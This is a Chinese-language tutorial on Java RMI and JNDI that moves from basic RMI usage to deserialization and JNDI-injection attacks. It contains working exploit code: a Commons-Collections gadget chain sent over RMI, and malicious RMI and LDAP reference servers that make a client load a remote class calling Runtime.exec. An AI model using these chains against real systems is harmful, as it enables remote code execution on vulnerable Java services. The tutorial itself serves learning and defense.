由於最近的
log4j
和
fastjson
頻頻曝出
JNDI
漏洞危機,覺得有必要學習
jndi
和
rmi
1 RMI
1.1 rmi概念
RMI
是用Java
在JDK1.2
中實現的,它大大增強了Java
開發分布式應用的能力,Java
本身對RMI
規范的實現默認使用的是JRMP
協議。而在Weblogic
中對RMI
規范的實現使用T3
協議
JRMP
:Java Remote Message Protocol
,Java
遠程消息交換協議。這是運行在Java RMI
之下、TCP/IP
之上的線路層協議。該協議要求服務端與客戶端都為Java
編寫,就像HTTP
協議一樣,規定了客戶端和服務端通信要滿足的規范
RMI
(Remote Method Invocation
)為遠程方法調用,是允許運行在一個Java
虛擬機的對象調用運行在另一個Java
虛擬機上的對象的方法。 這兩個虛擬機可以是運行在相同計算機上的不同進程中,也可以是運行在網絡上的不同計算機中,RMI
體系結構是基於一個非常重要的行為定義
和行為實現
相分離的原則。RMI
允許定義行為的代碼和實現行為的代碼相分離,並且運行在不同的JVM
上。
不同於socket
,RMI
中分為三大部分:Server
、Client
、Registry
Server
: 提供遠程的對象Client
: 調用遠程的對象Registry
: 一個注冊表,存放着遠程對象的位置(ip、端口、標識符)
RMI
體系結構分以下幾層:
- 存根和骨架層(
Stub and Skeleton layer
):這一層對程序員是透明的,它主要負責攔截客戶端發出的方法調用請求,然后把請求重定向給遠程的RMI
服務。 - 遠程引用層(
Remote Reference Layer
):RMI
體系結構的第二層用來解析客戶端對服務端遠程對象的引用。這一層解析並管理客戶端對服務端遠程對象的引用。連接是點到點的。 - 傳輸層(
Transport layer
):這一層負責連接參與服務的兩個JVM
。這一層是建立在網絡上機器間的TCP/IP
連接之上的。它提供了基本的連接服務,還有一些防火牆穿透策略
1.2 RMI基礎運用
RMI
可以調用遠程的一個Java
的對象進行本地執行,但是遠程被調用的該類必須繼承java.rmi.Remote
接口
1.2.1 定義一個遠程的接口
public interface Rmidemo extends Remote {
public String hello() throws RemoteException;
}
在定義遠程接口的時候需要繼承java.rmi.Remote
接口,並且修飾符需要為public
否則遠程調用的時候會報錯。並且定義的方法里面需要拋出一個RemoteException
的異常
1.2.2 編寫一個遠程接口的實現類
在編寫該實現類中需要將該類繼承UnicastRemoteObject
public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo{
protected RemoteHelloWorld() throws RemoteException {
System.out.println("構造方法");
}
public String hello() throws RemoteException {
System.out.println("hello方法被調用");
return "hello,world";
}
}
1.2.3 創建服務器實例
創建服務器實例,並且創建一個注冊表,將需要提供給客戶端的對象注冊到注冊到注冊表中
public class servet {
public static void main(String[] args) throws RemoteException {
Rmidemo hello = new RemoteHelloWorld();//創建遠程對象
Registry registry = LocateRegistry.createRegistry(1099);//創建注冊表
registry.rebind("hello",hello);//將遠程對象注冊到注冊表里面,並且設置值為hello
}
}
到了這一步,簡單的RMI服務端的代碼就寫好了
1.2.4 編寫客戶端並且調用遠程對象
public class clientdemo {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);//獲取遠程主機對象
// 利用注冊表的代理去查詢遠程注冊表中名為hello的對象
Rmidemo hello = (Rmidemo) registry.lookup("hello");
// 調用遠程方法
System.out.println(hello.hello());
}
}
在這一步需要注意的是,如果遠程的這個方法有參數的話,調用該方法傳入的參數必須是可序列化的。在傳輸中是傳輸序列化后的數據,服務端會對客戶端的輸入進行反序列化
1.3 RMI反序列化攻擊
需要使用到RMI
進行反序列化攻擊需要兩個條件:接收Object
類型的參數、RMI
的服務端存在執行命令利用鏈
這里對上面得代碼做一個簡單的改寫
1.3.1 定義遠程接口
需要定義一個object
類型的參數方法
public interface User extends Remote {
public String hello(String hello) throws RemoteException;
void work(Object obj) throws RemoteException;
void say() throws RemoteException;
}
1.3.2 遠程接口實現
public class UserImpl extends UnicastRemoteObject implements User {
protected UserImpl() throws RemoteException {
}
protected UserImpl(int port) throws RemoteException {
super(port);
}
protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
super(port, csf, ssf);
}
public String hello(String hello) throws RemoteException {
return "hello";
}
public void work(Object obj) throws RemoteException {
System.out.println("work被調用了");
}
public void say() throws RemoteException {
System.out.println("say");
}
}
1.3.3 服務器
public class server {
public static void main(String[] args)
throws RemoteException {
User user = new UserImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("user",user);
System.out.println("rmi running....");
}
}
1.3.4 客戶端
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class client {
public static void main(String[] args) throws Exception {
String url = "rmi://192.168.20.130:1099/user";
User userClient = (User) Naming.lookup(url);
userClient.work(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, transformedMap);
return instance;
}
}
執行客戶端后就會執行我們設置好要執行的命令,也就是彈出計算器。之所以會被執行的原因前面也說過RMI
在傳輸數據的時候,會被序列化,傳輸的時序列化后的數據,在傳輸完成后再進行反序列化。那么這時候如果傳輸一個惡意的序列化數據就會進行反序列化的命令執行
轉載於:https://www.cnblogs.com/nice0e3/p/13927460.html
1.3.4.1 Transformer類說明
1.3.4.1.1 Transformer
commons-collections
下面的類Transformer
是個接口
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
可以看到Transformer
接口只有一個transform
方法,之后所有繼承該接口的類都需要實現這個方法。
官方文檔的意思:
大致意思就是會將傳入的object
進行轉換,然后返回轉換后的object
。還是有點抽象,不過沒關系,先放着接下來再根據繼承該接口的類進行具體分析。
Transformer
有幾個實現類:
ConstantTransformer
InvokerTransformer
ChainedTransformer
1.3.4.1.2 ConstantTransformer
ConstantTransformer
類當中的transform
方法就是將初始化時傳入的對象返回
部分源碼:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
1.3.4.1.3 InvokerTransformer
InvokerTransformer
部分源碼:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
InvokerTransformer
類的構造函數傳入三個參數——方法名
,參數類型數組
,參數數組
。在transform
方法中通過反射機制調用傳入某個類的方法,而調用的方法及其所需要的參數都在構造函數中進行了賦值,最終返回該方法的執行結果
1.3.4.1.4 ChainedTransformer
ChainedTransformer
部分源碼:
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
ChainedTransformer
類利用之前構造方法傳入的transformers
數組通過循環的方式調用每個元素的trandsform
方法,將得到的結果傳入下一次循環的transform
方法中。
那么這樣我們可以利用ChainedTransformer
將ConstantTransformer
和InvokerTransformer
的transform
方法串起來。通過ConstantTransformer
返回某個類,交給InvokerTransformer
去調用類中的某個方法。
1.3.4.1.5 TrandsformedMap
TrandsformedMap
部分源碼:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
TransformedMap
的decorate
方法根據傳入的參數重新實例化一個TransformedMap
對象,再看put
方法的源碼,不管是key還是value都會間接調用transform
方法,而這里的this.valueTransformer
也就是transformerChain
,從而啟動整個鏈子
1.3.4.2 代碼中說明
1.3.4.2.1 Transformer類說明
String[] execArgs = new String[]{"open -a Calculator"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, execArgs),
};
上面的代碼翻譯一下正常的反射代碼一下:
((Runtime) Runtime.class.
getMethod("getRuntime", null).
invoke(null, null)).
exec("open -a Calculator");
1.3.4.2.2 TransformedMap類說明
其中TransformedMap
根據上門的部分源碼可知會自動調用Transformer
內部方法
TransformedMap 可以用來對 Map 進行某種變換,底層原理實際上是使用傳入的 Transformer 進行轉換。
Transformer transformer = new ConstantTransformer("程序通事");
Map<String, String> testMap = new HashMap<>();
testMap.put("a", "A");
// 只對 value 進行轉換
Map decorate = TransformedMap.decorate(testMap, null, transformer);
// put 方法將會觸發調用 Transformer 內部方法
decorate.put("b", "B");
for (Object entry : decorate.entrySet()) {
Map.Entry temp = (Map.Entry) entry;
if (temp.getKey().equals("a")) {
// Map.Entry setValue 也會觸發 Transformer 內部方法
temp.setValue("AAA");
}
}
System.out.println(decorate);
只要調用 TransformedMap
的 put
方法,或者調用 Map.Entry
的 setValue
方法就可以觸發我們設置的 ChainedTransformer
,從而觸發 Runtime
執行外部命令,因此輸出結果為:
{b=程序通事, a=程序通事}
1.3.4.2.3 AnnotationInvocationHandler類說明
上文中我們知道了,只要調用 TransformedMap
的 put
方法,或者調用 Map.Entry
的 setValue
方法就可以觸發我們設置的 ChainedTransformer
,從而觸發 Runtime
執行外部命令。
現在我們就需要找到一個可序列化的類,這個類正好實現了 readObject,且正好可以調用 Map put 的方法或者調用 Map.Entry的 setValue。
Java 中有一個類 sun.reflect.annotation.AnnotationInvocationHandler
,正好滿足上述的條件。這個類構造函數可以設置一個 Map 變量,這下剛好可以把上面的 TransformedMap 設置進去。
但是,這個類沒有 public 修飾符,默認只有同一個包才可以使用
不過這點難度,跟上面一比,還真是輕松,我們可以通過反射獲取從而獲取這個類的實例。
示例代碼如下:
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 隨便使用一個注解
Object instance = ctor.newInstance(Target.class, exMap);
2 JNDI
2.1 概念
JNDI
(Java Naming and Directory Interface
,Java
命名和目錄接口)是SUN
公司提供的一種標准的Java
命名系統接口,JNDI
提供統一的客戶端API
,通過不同的訪問提供者接口JNDI
服務供應接口(SPI
)的實現,由管理者將JNDI API
映射為特定的命名服務
和目錄系統
,使得Java
應用程序可以和這些命名服務和目錄服務之間進行交互。目錄服務
是命名服務
的一種自然擴展
命名服務將名稱和對象聯系起來,使得讀者可以用名稱訪問對象。目錄服務
是一種命名服務,在這種服務里,對象不但有名稱,還有屬性。
JNDI
是一個應用程序設計的API
,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口,類似JDBC
都是構建在抽象層上。現在JNDI
已經成為J2EE
的標准之一,所有的J2EE
容器都必須提供一個JNDI
的服務。
JNDI
可訪問的現有的目錄及服務有:
DNS
、XNam
、Novell
目錄服務、LDAP
(Lightweight Directory Access Protocol
輕型目錄訪問協議)、 CORBA
對象服務、文件系統、Windows XP/2000/NT/Me/9x
的注冊表、RMI、DSML v1&v2、NIS
以上是一段百度wiki的描述。簡單點來說就相當於一個索引庫,一個命名服務
將對象
和名稱
聯系在了一起,並且可以通過它們指定的名稱找到相應的對象
2.2 JNDI結構
在Java JDK
里面提供了5個包,提供給JNDI
的功能實現,分別是
javax.naming
:主要用於命名
操作,它包含了命名服務的類和接口,該包定義了Context
接口和InitialContext
類;javax.naming.directory
:主要用於目錄
操作,它定義了DirContext
接口和InitialDir-Context
類;javax.naming.event
:在命名目錄服務器中請求事件通知;javax.naming.ldap
:提供LDAP
支持;javax.naming.spi
:允許動態插入不同實現,為不同命名目錄服務供應商的開發人員提供開發和實現的途徑,以便應用程序通過JNDI
可以訪問相關服務。
2.2.1 InitialContext類
構造方法:
InitialContext()
:構建一個初始上下文。
InitialContext(boolean lazy)
:構造一個初始上下文,並選擇不初始化它。
InitialContext(Hashtable<?,?> environment)
:使用提供的環境構建初始上下文
常用方法:
bind(Name name, Object obj)
將名稱綁定到對象list(String name)
枚舉在命名上下文中綁定的名稱以及綁定到它們的對象的類名lookup(String name)
檢索命名對象rebind(String name, Object obj)
將名稱綁定到對象,覆蓋任何現有綁定unbind(String name)
取消綁定命名對象
示例如下:
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
2.2.2 Reference類
該類也是在javax.naming
的一個類,該類表示對在命名/目錄
系統外部
找到的對象的引用。提供了JNDI
中類的引用功能
構造方法:
Reference(String className)
為類名為className
的對象構造一個新的引用。
Reference(String className, RefAddr addr)
為類名為className
的對象和地址構造一個新引用
Reference(String className, RefAddr addr, String factory, String factoryLocation)
為類名為className
的對象,對象工廠的類名和位置以及對象的地址構造一個新引用
Reference(String className, String factory, String factoryLocation)
為類名為className
的對象以及對象工廠的類名和位置構造一個新引用。
示例:
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
參數1:className
- 遠程加載時所使用的類名
參數2:classFactory
- 加載的class
中需要實例化類的名稱
參數3:classFactoryLocation
- 提供classes
數據的地址可以是file/ftp/http協議
常用方法:
void add(int posn, RefAddr addr)
將地址添加到索引posn
的地址列表中。
void add(RefAddr addr)
將地址添加到地址列表的末尾。
void clear()
從此引用中刪除所有地址。
RefAddr get(int posn)
檢索索引posn上的地址。
RefAddr get(String addrType)
檢索地址類型為addrType
的第一個地址。
Enumeration<RefAddr> getAll()
檢索本參考文獻中地址的列舉。
String getClassName()
檢索引用引用的對象的類名。
String getFactoryClassLocation()
檢索此引用引用的對象的工廠位置。
String getFactoryClassName()
檢索此引用引用對象的工廠的類名。
Object remove(int posn)
從地址列表中刪除索引posn上的地址。
int size()
檢索此引用中的地址數。
String toString()
生成此引用的字符串表示形式
代碼示例:
public class jndi {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);
}
}
這里可以看到調用完Reference
后又調用了 ReferenceWrapper
將前面的Reference
對象給傳進去,其原因是查看Reference
就可以知道原因,查看到Reference
,並沒有繼承Remote
接口也沒有繼承 UnicastRemoteObject
類,前面講RMI
的時候說過,需要將類注冊到Registry
需要實現Remote
和繼承UnicastRemoteObject
類。這里並沒有看到相關的代碼,所以這里還需要調用 ReferenceWrapper
將他給封裝一下
2.3 JNDI注入攻擊
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();//得到初始目錄環境的一個引用
initialContext.lookup(uri);//獲取指定的遠程對象
}
}
在上面的InitialContext.lookup(uri)
的這里,如果說URI
可控,那么客戶端就可能會被攻擊。JNDI
可以使用RMI、LDAP
來訪問目標服務。在實際運用中也會使用到JNDI
注入配合RMI
等方式實現攻擊
2.4 JNDI注入+RMI實現攻擊
2.4.1 RMIServer代碼
public class server {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
String url = "http://127.0.0.1:8080/";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("obj",referenceWrapper);
System.out.println("running");
}
}
2.4.2 RMIClient代碼
public class client {
public static void main(String[] args) throws NamingException {
String url = "rmi://localhost:1099/obj";
//新版jdk8u以上 不加這句話報錯 The object factory is untrusted.
//Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
下面還需要一段執行命令的代碼,掛載在web頁面上讓server端去請求
public class test {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
使用javac
命令,將該類編譯成class
文件掛載在web頁面上。
原理其實就是把惡意的Reference
類,綁定在RMI
的Registry
里面,在客戶端調用lookup
遠程獲取遠程類的時候,就會獲取到Reference
對象,獲取到Reference
對象后,會去尋找Reference
中指定的類,如果查找不到則會在Reference
中指定的遠程地址去進行請求,請求到遠程的類后會在本地進行執行
2.5 JNDI注入+LDAP實現攻擊
LDAP
概念:LDAP
輕型目錄訪問協議(英文:Lightweight Directory Access Protocol
,縮寫:LDAP,/ˈɛldæp/)是一個開放的,中立的,工業標准的應用協議,通過IP協議提供訪問控制和維護分布式信息的目錄信息
有了前面的案例后,再來看這個其實也比較簡單,之所以JNDI
注入會配合LDAP
是因為LDAP
服務的Reference
遠程加載Factory
類不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase
等屬性的限制。
示例如下:
2.5.1 server端
public class demo {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8080/#test"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
2.5.2 編寫一個client客戶端
public class clientdemo {
public static void main(String[] args) throws NamingException {
Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
}
}
編寫一個遠程惡意類,並將其編譯成class文件,放置web頁面中。
public class test{
public test() throws Exception{
Runtime.getRuntime().exec("calc");
}
}